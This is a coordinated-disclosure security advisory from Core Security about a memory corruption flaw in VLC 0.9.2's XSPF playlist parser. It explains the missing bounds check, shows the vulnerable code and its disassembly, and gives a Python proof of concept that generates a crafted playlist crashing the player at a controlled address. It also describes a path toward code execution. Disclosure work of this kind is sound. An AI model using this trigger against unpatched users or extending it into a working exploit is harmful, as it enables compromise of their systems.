VLC media player XSPF Memory Corruption

1.
Advisory Information

Title: VLC media player XSPF Memory Corruption
Advisory ID: CORE-2008-1010
Advisory URL: http://www.coresecurity.com/content/vlc-xspf-memory-corruption
Date published: 2008-10-14
Date of last update: 2008-10-14
Vendors contacted: VLC
Release mode: Coordinated release

2.
Vulnerability Information

Class: Memory corruption
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: N/A

3.
Vulnerability Description

VLC media player is an open-source, highly portable multimedia player for various audio and video
formats, as well as DVDs, VCDs, and various streaming protocols. It can also be used
as a server to stream in unicast or multicast in IPv4 or IPv6 on a high-bandwidth network.

VLC media player is vulnerable to a memory corruption vulnerability, which
can be exploited by malicious remote attackers to compromise a user's system, by providing
a specially crafted XSPF playlist file.
The vulnerability exists because the VLC (demux/playlist/xspf.c)
library does not properly perform bounds-checking on an identifier
tag from an XSPF file before using it to index an array on the heap.
This can be exploited to overwrite an arbitrary memory address in the context of the
VLC media player process, and eventually get arbitrary code execution by opening a
specially crafted file.

4. Vulnerable packages

• VLC media player 0.9.2

5. Non-vulnerable packages

• VLC media player 0.9.3 (no official binary files available for Windows platform)
• VLC media player 0.9.4

6.Vendor Information, Solutions and Workarounds

Update to VLC media player 0.9.4, available at http://www.videolan.org/vlc/.

7.
Credits

This vulnerability was discovered and researched by Francisco Falcon
from Core Security Technologies.

8.
Technical Description / Proof of Concept Code

VLC media player has support for the XML-based XSPF
playlist format
[1].
Every track in an XSPF playlist has a number of attributes, such as
identifier, location, title and duration.
The identifier attribute is a numeric value that indicates
the position of the track in the tracklist.
Here's a sample playlist in XSPF format:

<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/">
	<title>Sample playlist</title>
	<location>C:\my-playlist.xspf</location>
	<trackList>
		<track>
			<identifier>0</identifier>
			<location>C:\My%20music\track1.mp3</location>
			<extension application="http://www.videolan.org/vlc/playlist/0">
			</extension>
			<duration>239099</duration>
		</track>
		<track>
			<identifier>1</identifier>
			<location>C:\My%20music\track2.mp3</location>
		</track>
		<track>
			<identifier>2</identifier>
			<location>C:\My%20music\track3.mp3</location>
		</track>
	</trackList>
	<extension application="http://www.videolan.org/vlc/playlist/0">
		<item href="0" />
		<item href="1" />
		<item href="2" />
	</extension>
</playlist>
      

VLC media player's XSPF playlist format parser (demux/playlist/xspf.c)
does not properly perform bounds-checking before using the identifier
attribute value to index an array on the heap to write data on it.

In the first place, the parser reads the identifier attribute of a track
and converts its value to int type using the atoi
function from the standard C library, and saves it to the i_identifier field
of a demux_sys_t structure:

575            else if( !strcmp( p_handler->name, "identifier" ) )
576             {
577                 p_demux->p_sys->i_identifier = atoi( psz_value );
578             }
      

After that, at lines 501-502, the parser compares i_identifier with
i_tracklist_entries. This last field is a counter that holds
the number of tracklist entries that were successfully parsed at the moment.

If i_identifier is less than i_tracklist_entries,
the value of i_identifier is used to index the
pp_tracklist array, and p_new_input
is written on that position (at line 505).

501		if( p_demux->p_sys->i_identifier <
502                      p_demux->p_sys->i_tracklist_entries )
503                 {
504                     p_demux->p_sys->pp_tracklist[
505                         p_demux->p_sys->i_identifier ] = p_new_input;
506                 }
      

Since the XSPF parser does not perform bounds-checking before indexing the array to write on it,
and having i_identifier fully controlled by the user, an attacker may
overwrite almost any memory address with p_new_input.

This is the disassembled vulnerable code:

70246981   .  39C2          CMP EDX,EAX                              ;  i_identifier < i_tracklist_entries?
70246983   .  7D 29         JGE SHORT libplayl.702469AE
70246985   .  8B2B          MOV EBP,DWORD PTR DS:[EBX]               ;  EBP = pp_tracklist = 0
70246987   .  8B7C24 44     MOV EDI,DWORD PTR SS:[ESP+44]            ;  EDI = p_new_input
7024698B   .  897C95 00     MOV DWORD PTR SS:[EBP+EDX*4],EDI         ;  Saves p_new_input in pp_tracklist[i_identifier]
      

At this point, when parsing the first track of the playlist, i_tracklist_entries
value is 0.
The parser performs a signed comparison between i_identifier
and i_tracklist_entries, so by providing a negative value for
i_identifier, an attacker can avoid that conditional JGE jump
to be executed. After that, EBP is always 0 and the attacker controls EDX,
so he can write p_new_input to almost any memory address aligned
to a 4-byte boundary.

p_new_input is a pointer to a structure of type
input_item_t, that holds information about the playlist
item being processed. At p_new_input + 0x10 there is a pointer
to the track filename (provided by the location
attribute), excluding the path.

This track filename (which is UTF-8 encoded) is controlled by the user too, so if an attacker
overwrites a specially chosen memory address and the program executes some instructions that
load p_new_input into a CPU register and perform an indirect
call like CALL DWORD[R32 + 0x10] (where R32 is a 32-bit
register), it will be possible to get arbitrary code execution with the privileges
of the current user.

The following Python code will generate an XSPF file that, when opened with VLC media player
0.9.2, will crash the application when trying to write
p_new_input to memory address 41424344.

xspf_file_content = '''
<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/">
<title>XSPF PoC</title>
<location>C:\My%20Music\playlist.xspf</location>
<trackList>
<track>
<identifier>-1873768239</identifier>
<location>C:\My%20Music\Track1.mp3</location>
<extension application="http://www.videolan.org/vlc/playlist/0">
</extension>
<duration>239099</duration>
</track>
</trackList>
<extension application="http://www.videolan.org/vlc/playlist/0">
<item href="0" />
</extension>
</playlist>
'''

crafted_xspf_file = open('playlist.xspf','w')
crafted_xspf_file.write(xspf_file_content)
crafted_xspf_file.close()
      

9.
Report Timeline

• 2008-10-10:
  Core Security Technologies notifies the VLC team of the vulnerability, and that the advisory CORE-2008-1010 will be published on
  October 14th, since the vulnerability is already fixed in VLC versions 0.9.3 and 0.9.4.
• 2008-10-12:
  
  VLC teams confirms that the vulnerability has been
  fixed (the vulnerability was discovered and fixed by the VLC team on
  September 15th).
• 2008-10-14:
  
  Advisory CORE-2008-1010 is published.

10.
References

[1]
XSPF format http://www.xspf.org/

11.
About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://www.coresecurity.com/corelabs.

12.
About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious
organizations worldwide develop and maintain a proactive process for
securing their networks. The company's flagship product, CORE IMPACT, is
the most comprehensive product for performing enterprise security
assurance testing. CORE IMPACT evaluates network, endpoint and end-user
vulnerabilities and identifies what resources are exposed. It enables
organizations to determine if current security investments are detecting
and preventing attacks. Core Security Technologies augments its leading technology solution
with world-class security consulting services, including penetration
testing and software security auditing. Based in Boston, MA and Buenos
Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web
at http://www.coresecurity.com.

13.
Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security Technologies and
(c) 2008 CoreLabs, and may be distributed freely provided
that no fee is charged for this distribution and proper credit is given.

14.
PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories
team, which is available for download at
/legacy/files/attachments/core_security_advisories.asc.